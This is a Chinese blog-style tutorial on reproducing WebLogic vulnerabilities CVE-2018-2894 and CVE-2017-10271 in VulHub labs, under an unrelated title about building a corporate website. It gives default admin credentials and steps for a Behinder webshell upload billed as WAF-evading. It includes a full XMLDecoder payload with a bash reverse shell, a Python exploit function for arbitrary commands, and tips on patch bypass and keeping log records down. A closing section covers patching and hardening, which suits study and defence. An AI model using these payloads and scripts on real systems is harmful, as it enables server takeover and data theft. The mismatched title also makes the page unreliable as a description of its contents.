企业官网建设流程全解析

1. WebLogic漏洞复现环境搭建

搞安全研究的朋友都知道，WebLogic作为企业级Java中间件，一直是漏洞重灾区。我刚开始接触这块的时候，最头疼的就是环境搭建问题。后来发现了VulHub这个神器，简直是漏洞复现的福音。VulHub提供了大量预置的漏洞环境，用Docker一键部署，省去了我们手动配置的麻烦。

先说说我的环境准备经验。你需要一台至少4GB内存的Linux主机（我用的Ubuntu 20.04），安装好Docker和docker-compose。这里有个小技巧：国内用户记得配置Docker镜像加速，不然下载镜像能等到天荒地老。我常用的阿里云镜像加速配置如下：

sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://your-aliyun-mirror.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker

安装完基础环境后，克隆VulHub仓库：

git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic

这里有个坑我踩过好几次：不同漏洞需要不同版本的WebLogic镜像，千万别搞混了。比如CVE-2017-10271对应的是weblogic:10.3.6.0，而CVE-2018-2894需要weblogic:12.1.3.0。启动特定漏洞环境时，一定要进对目录。

启动环境后，我习惯用这个命令检查服务是否正常：

docker ps -a docker logs [容器ID]

看到WebLogic启动日志里有"Server started in RUNNING mode"就说明成功了。第一次访问管理后台时，记得用默认账号weblogic/Oracle@123登录（这个弱口令在实战中经常能碰到）。

2. CVE-2018-2894任意文件上传漏洞实战

这个漏洞特别有意思，它出现在WebLogic的管理端。我刚开始复现时，照着文档操作还是失败了三次，后来才发现是漏了关键步骤。漏洞本质是Web Service Test Page的两个未授权上传点，但默认情况下这个测试页是关闭的。

先说说完整复现流程：

1. 启动环境后，访问http://your-ip:7001/console
2. 用默认凭证登录（注意：输错5次会锁定账号，别问我怎么知道的）
3. 在"base_domain" -> "高级"里启用Web服务测试页
4. 访问/ws_utc/config.do这个未授权接口

这里有个关键技巧：设置Work Home Dir时，要选一个可写且web可访问的目录。我推荐用这个路径：

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

上传webshell时，我习惯用冰蝎的马，因为它的加密通信能绕过大部分WAF。上传后要注意抓包获取时间戳，这是访问shell的关键。最终访问路径格式为：

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_shell.jsp

这个漏洞的修复方案其实挺简单：

1. 及时打Oracle官方补丁
2. 生产环境一定要关闭Web Service Test Page
3. 对管理接口实施IP白名单限制

3. CVE-2017-10271反序列化漏洞解析

这个XMLDecoder反序列化漏洞堪称经典，我在多个红队项目中都成功利用过。漏洞出现在/wls-wsat/CoordinatorPortType11接口，攻击者可以构造特殊的XML数据实现RCE。

复现步骤我总结为：

1. 启动nc监听：nc -lvnp 4444
2. 用Burp发送精心构造的SOAP请求

最关键的payload部分是这样的：

<java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/your-ip/4444 0&gt;&amp;1</string> </void> </array> <void method="start"/> </void> </java>

我遇到过几个常见问题：

• 反弹shell不成功：可能是目标出网限制，可以尝试写入webshell
• 执行命令没回显：改用PrintWriter写入文件观察结果
• 新版WebLogic补丁绕过：尝试修改Content-Type头为text/xml;charset=UTF-8

对于防御方，我建议：

1. 删除wls-wsat组件
2. 升级到最新补丁版本
3. 在网络层限制对/wls-wsat路径的访问

4. 自动化漏洞利用脚本开发

手工复现虽然直观，但实战中我们需要自动化工具。我用Python写了几个实用的EXP脚本，分享下核心思路。

对于CVE-2017-10271，关键是要处理好SOAP请求的构造：

import requests def exploit(target, cmd): headers = {'Content-Type': 'text/xml'} payload = f"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/sh</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>{cmd}</string></void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>""" try: r = requests.post(f"http://{target}/wls-wsat/CoordinatorPortType", data=payload, headers=headers, timeout=10) return True except: return False

对于CVE-2018-2894的文件上传漏洞，自动化脚本需要处理以下几个关键点：

1. 获取有效的Work Home Dir
2. 处理文件上传的multipart/form-data
3. 解析响应获取时间戳

我常用的批量检测脚本会先发送探测请求，检查目标是否存在漏洞特征，然后再进行实际利用。这样可以避免不必要的网络流量和日志记录。

5. 漏洞防御与加固建议

在多次实战和复现过程中，我总结了一些有效的防御措施：

1. 补丁管理

• 建立定期的补丁更新机制
• 重点关注Oracle季度安全更新
• 对历史漏洞进行回溯性检查

2. 配置加固

• 关闭不需要的服务和端口

# 禁用T3协议示例 DOMAIN_HOME/bin/setDomainEnv.sh中添加： JAVA_OPTIONS="$JAVA_OPTIONS -Dweblogic.rjvm.enableprotocolswitch=false"

• 修改默认管理路径和端口
• 启用管理控制台的双因素认证

3. 网络防护

• 在负载均衡层设置WAF规则
• 对管理接口实施严格的访问控制
• 监控异常的SOAP和T3协议请求

4. 日志监控

• 开启WebLogic完整审计日志
• 监控以下可疑活动：
  • 对/wls-wsat的访问
  • 异常的JSP文件上传
  • 反序列化相关的错误日志

在实际运维中，我建议采用最小权限原则，为WebLogic服务配置专用账户，并限制其系统权限。同时，定期进行安全评估和漏洞扫描，确保没有遗漏的安全隐患。